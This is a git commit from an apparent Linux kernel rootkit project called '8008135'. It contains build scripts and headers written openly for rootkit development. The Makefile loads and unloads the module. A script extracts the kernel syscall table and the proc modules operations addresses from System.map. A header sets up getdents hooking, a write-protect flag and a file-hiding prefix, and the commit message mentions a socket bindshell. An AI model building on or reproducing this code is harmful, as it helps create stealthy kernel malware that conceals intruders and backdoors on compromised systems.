Changing Folder Structures and extending the Makefile for Needs
Added an 'src' dir with subfolders headers, include, libs Extending Makefile, so that all the Files get included for the build. Also adding the "load" option for make, which loads the module (has to be built before) as well as the "unload" option which unloads the module. The "all" option now automatically builds the sysgen.h from the script, it doesn't have to be executed in forehand anymore. Also, some Variables got added for better readability and changeability. After the socket bindshell didnt work so far, I added some DEBUG Kernel prints to debug the issue that sometimes the files to be hidden get displayed as "?" Also, a few Functions for debugging have been added - but I was too tired to add them to the collection and use them instead of ```printk```merge-requests/1/head
parent
27b3fe226b
commit
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@ -1,6 +1,38 @@
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obj-m += 8008135.o
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# Module name
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MNAME := 8008135
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modules:
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make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
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# Build
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MODULEDIR := /lib/modules/$(shell uname -r)
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BUILDDIR := $(MODULEDIR)/build
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KERNELDIR := $(MODULEDIR)/kernel
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# Source files
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SRCS_S := src
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LIBS_S := src/libs
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INCL_S := src/include
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# Header files
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SRCS_H := $(PWD)/$(SRCS_S)/headers
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LIBS_H := $(PWD)/$(LIBS_S)/headers
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INCL_H := $(PWD)/$(INCL_S)/headers
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obj-m += $(MNAME).o
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# Core
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$(MNAME)-y += src/$(MNAME).o
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# Includes for header files etc
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ccflags-y := -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H)
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all:
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$(shell $(SRCS_S)/create_sysgen.sh)
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$(MAKE) -C $(BUILDDIR) M=$(PWD) modules
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load:
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insmod $(MNAME).ko
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unload:
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rmmod $(MNAME)
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clean:
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make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
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-rm $(SRCS_H)/sysgen.h
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$(MAKE) -C $(BUILDDIR) M=$(PWD) clean
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@ -1,14 +1,19 @@
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#!/bin/bash
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#!/usr/bin/env bash
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SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
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SRCS_H="$SCRIPTPATH""/headers"
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SGENH="$SRCS_H""/sysgen.h"
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smap="/boot/System.map-$(uname -r)"
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echo -e "#pragma once" > ./sysgen.h
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echo -e "#include <linux/fs.h>" >> ./sysgen.h
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echo -e "#pragma once" > "$SGENH"
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echo -e "#include <linux/fs.h>" >> "$SGENH"
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symbline=$(cat $smap | grep '\Wsys_call_table$')
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set $symbline
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echo -e "void** sys_call_table = (void**)0x$1;" >> ./sysgen.h
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[ -z "$symbline" ] && echo "No SysCall Table Value from System.map found" && exit 2;
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echo -e "void** sys_call_table = (void**)0x$1;" >> "$SGENH"
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procline=$(cat $smap | grep '\Wproc_modules_operations$')
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set $procline
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echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> ./sysgen.h
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echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> "$SGENH"
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@ -0,0 +1,66 @@
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/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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#ifndef SRC_HEADERS_8008135_H
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#define SRC_HEADERS_8008135_H
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/**** Includes ***************************************************************
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*******************************************************************************/
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#include <linux/module.h>
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#include <linux/kernel.h>
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#include <linux/kallsyms.h>
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#include <asm/special_insns.h>
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#include <linux/string.h>
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#include <linux/fs.h>
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#include "sysgen.h"
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/**** Defines *****************************************************************
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*******************************************************************************/
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#define GETDENTS_SYSCALL_NUM 78
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#define WRITE_PROTECT_FLAG (1<<16)
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#define HIDE_PREFIX "8008135."
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#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX) - 1)
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#define MODULE_NAME "8008135"
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#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1)
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/**** Modinfo ****************************************************************
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*******************************************************************************/
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MODULE_LICENSE("GPLv3");
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MODULE_AUTHOR("JanKoernerEnterprises");
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MODULE_DESCRIPTION("8008135");
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MODULE_VERSION("0.1");
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/**** type *******************************************************************
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*******************************************************************************/
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struct linux_dirent {
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unsigned long d_ino;
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unsigned long d_off;
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unsigned short d_reclen; // d_reclen is the way to tell the length of this entry
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char d_name[1]; // the struct value is actually longer than this, and d_name is variable width.
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};
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typedef asmlinkage long (*sys_getdents_t)(unsigned int fd,
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struct linux_dirent __user *dirent,
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unsigned int count);
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#endif /* SRC_HEADERS_8008135_H */
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@ -0,0 +1,43 @@
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/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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/**** Debugging ***************************************************************
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*******************************************************************************/
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#ifndef SRC_INCLUDE__HEADERS_UTILS_H_
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#define SRC_INCLUDE_HEADERS_UTILS_H_
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#define DEBUG_ENABLED 1
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/**** Debugging ***************************************************************
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*******************************************************************************/
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/* variadic macro for debug messages */
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#define debug(str, ...) \
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if (DEBUG_ENABLED) { \
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pr_info("[ 8008135 ] [ %s ] " str "\n", \
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__func__, ##__VA_ARGS__); \
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}
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#define alert(str, ...) \
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if (DEBUG_ENABLED) { \
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pr_warn("[ 8008135 ] [ %s ] " str "\n", \
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__func__, ##__VA_ARGS__); \
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}
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#endif /* SRC_INCLUDE_HEADERS_UTILS_H_ */
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